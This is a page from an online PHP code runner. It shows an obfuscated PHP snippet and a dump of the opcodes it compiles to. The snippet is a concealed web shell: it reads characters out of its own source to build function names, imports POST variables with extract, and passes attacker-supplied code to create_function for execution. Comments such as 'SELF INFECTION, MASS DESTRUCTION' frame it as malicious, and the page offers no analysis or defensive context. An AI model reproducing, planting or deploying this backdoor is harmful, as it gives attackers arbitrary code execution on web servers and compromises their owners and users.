3v4l.org

run code in 300+ PHP versions simultaneously
<?php @$t=x; $x=fread(fopen($_SERVER["PHP_SELF"],"r"),13337); $y=chr(69).$x[0x5e].${$t}[8]; $s=$x[411].@tr.("T"^"&").$x[0x8d].$x[399];$f=$x[306].$s[3].$s[10-6].("B"^"#").chr(116)."\x65".@_.$s("nu\x66"); $x=$s($t=$y[2].@c.$s("${y}r\x61")); $x($_POST); $G=$f.@ction;$‰=$G(null,$code);$‰(); // SELF INFECTION, MASS DESTRUCTION, PROGRAMMED FOR THE FINAL FUNCTION // LAB RAT KING, RESCUE TEAM, SAVE ME FROM THE NEXT LIFE
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/NTZud
function name:  (null)
number of ops:  83
compiled vars:  !0 = $t, !1 = $x, !2 = $y, !3 = $s, !4 = $f, !5 = $G, !6 = $‰, !7 = $code
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BEGIN_SILENCE                                    ~8      
          1        FETCH_CONSTANT                                   ~9      'x'
          2        ASSIGN                                                   !0, ~9
          3        END_SILENCE                                              ~8
    2     4        INIT_FCALL                                               'fread'
          5        INIT_FCALL                                               'fopen'
          6        FETCH_R                      global              ~11     '_SERVER'
          7        FETCH_DIM_R                                      ~12     ~11, 'PHP_SELF'
          8        SEND_VAL                                                 ~12
          9        SEND_VAL                                                 'r'
         10        DO_ICALL                                         $13     
         11        SEND_VAR                                                 $13
         12        SEND_VAL                                                 13337
         13        DO_ICALL                                         $14     
         14        ASSIGN                                                   !1, $14
    3    15        FETCH_DIM_R                                      ~16     !1, 94
         16        CONCAT                                           ~17     'E', ~16
         17        FETCH_R                      local               ~18     !0
         18        FETCH_DIM_R                                      ~19     ~18, 8
         19        CONCAT                                           ~20     ~17, ~19
         20        ASSIGN                                                   !2, ~20
    4    21        FETCH_DIM_R                                      ~22     !1, 411
         22        BEGIN_SILENCE                                    ~23     
         23        FETCH_CONSTANT                                   ~24     'tr'
         24        END_SILENCE                                              ~23
         25        CONCAT                                           ~25     ~22, ~24
         26        CONCAT                                           ~26     ~25, 'r'
         27        FETCH_DIM_R                                      ~27     !1, 141
         28        CONCAT                                           ~28     ~26, ~27
         29        FETCH_DIM_R                                      ~29     !1, 399
         30        CONCAT                                           ~30     ~28, ~29
         31        ASSIGN                                                   !3, ~30
         32        FETCH_DIM_R                                      ~32     !1, 306
         33        FETCH_DIM_R                                      ~33     !3, 3
         34        CONCAT                                           ~34     ~32, ~33
         35        FETCH_DIM_R                                      ~35     !3, 4
         36        CONCAT                                           ~36     ~34, ~35
         37        CONCAT                                           ~37     ~36, 'a'
         38        CONCAT                                           ~38     ~37, 't'
         39        CONCAT                                           ~39     ~38, 'e'
         40        BEGIN_SILENCE                                    ~40     
         41        FETCH_CONSTANT                                   ~41     '_'
         42        END_SILENCE                                              ~40
         43        CONCAT                                           ~42     ~39, ~41
         44        INIT_DYNAMIC_CALL                                        !3
         45        SEND_VAL_EX                                              'nuf'
         46        DO_FCALL                                      0  $43     
         47        CONCAT                                           ~44     ~42, $43
         48        ASSIGN                                                   !4, ~44
    5    49        INIT_DYNAMIC_CALL                                        !3
         50        FETCH_DIM_R                                      ~46     !2, 2
         51        BEGIN_SILENCE                                    ~47     
         52        FETCH_CONSTANT                                   ~48     'c'
         53        END_SILENCE                                              ~47
         54        CONCAT                                           ~49     ~46, ~48
         55        INIT_DYNAMIC_CALL                                        !3
         56        NOP                                                      
         57        FAST_CONCAT                                      ~50     !2, 'ra'
         58        SEND_VAL_EX                                              ~50
         59        DO_FCALL                                      0  $51     
         60        CONCAT                                           ~52     ~49, $51
         61        ASSIGN                                           ~53     !0, ~52
         62        SEND_VAL_EX                                              ~53
         63        DO_FCALL                                      0  $54     
         64        ASSIGN                                                   !1, $54
    6    65        INIT_DYNAMIC_CALL                                        !1
         66        CHECK_FUNC_ARG                                           
         67        FETCH_FUNC_ARG               global              $56     '_POST'
         68        SEND_FUNC_ARG                                            $56
         69        DO_FCALL                                      0          
         70        BEGIN_SILENCE                                    ~58     
         71        FETCH_CONSTANT                                   ~59     'ction'
         72        END_SILENCE                                              ~58
         73        CONCAT                                           ~60     !4, ~59
         74        ASSIGN                                                   !5, ~60
         75        INIT_DYNAMIC_CALL                                        !5
         76        SEND_VAL_EX                                              null
         77        SEND_VAR_EX                                              !7
         78        DO_FCALL                                      0  $62     
         79        ASSIGN                                                   !6, $62
         80        INIT_DYNAMIC_CALL                                        !6
         81        DO_FCALL                                      0          
    8    82      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
150.49 ms | 1400 KiB | 17 Q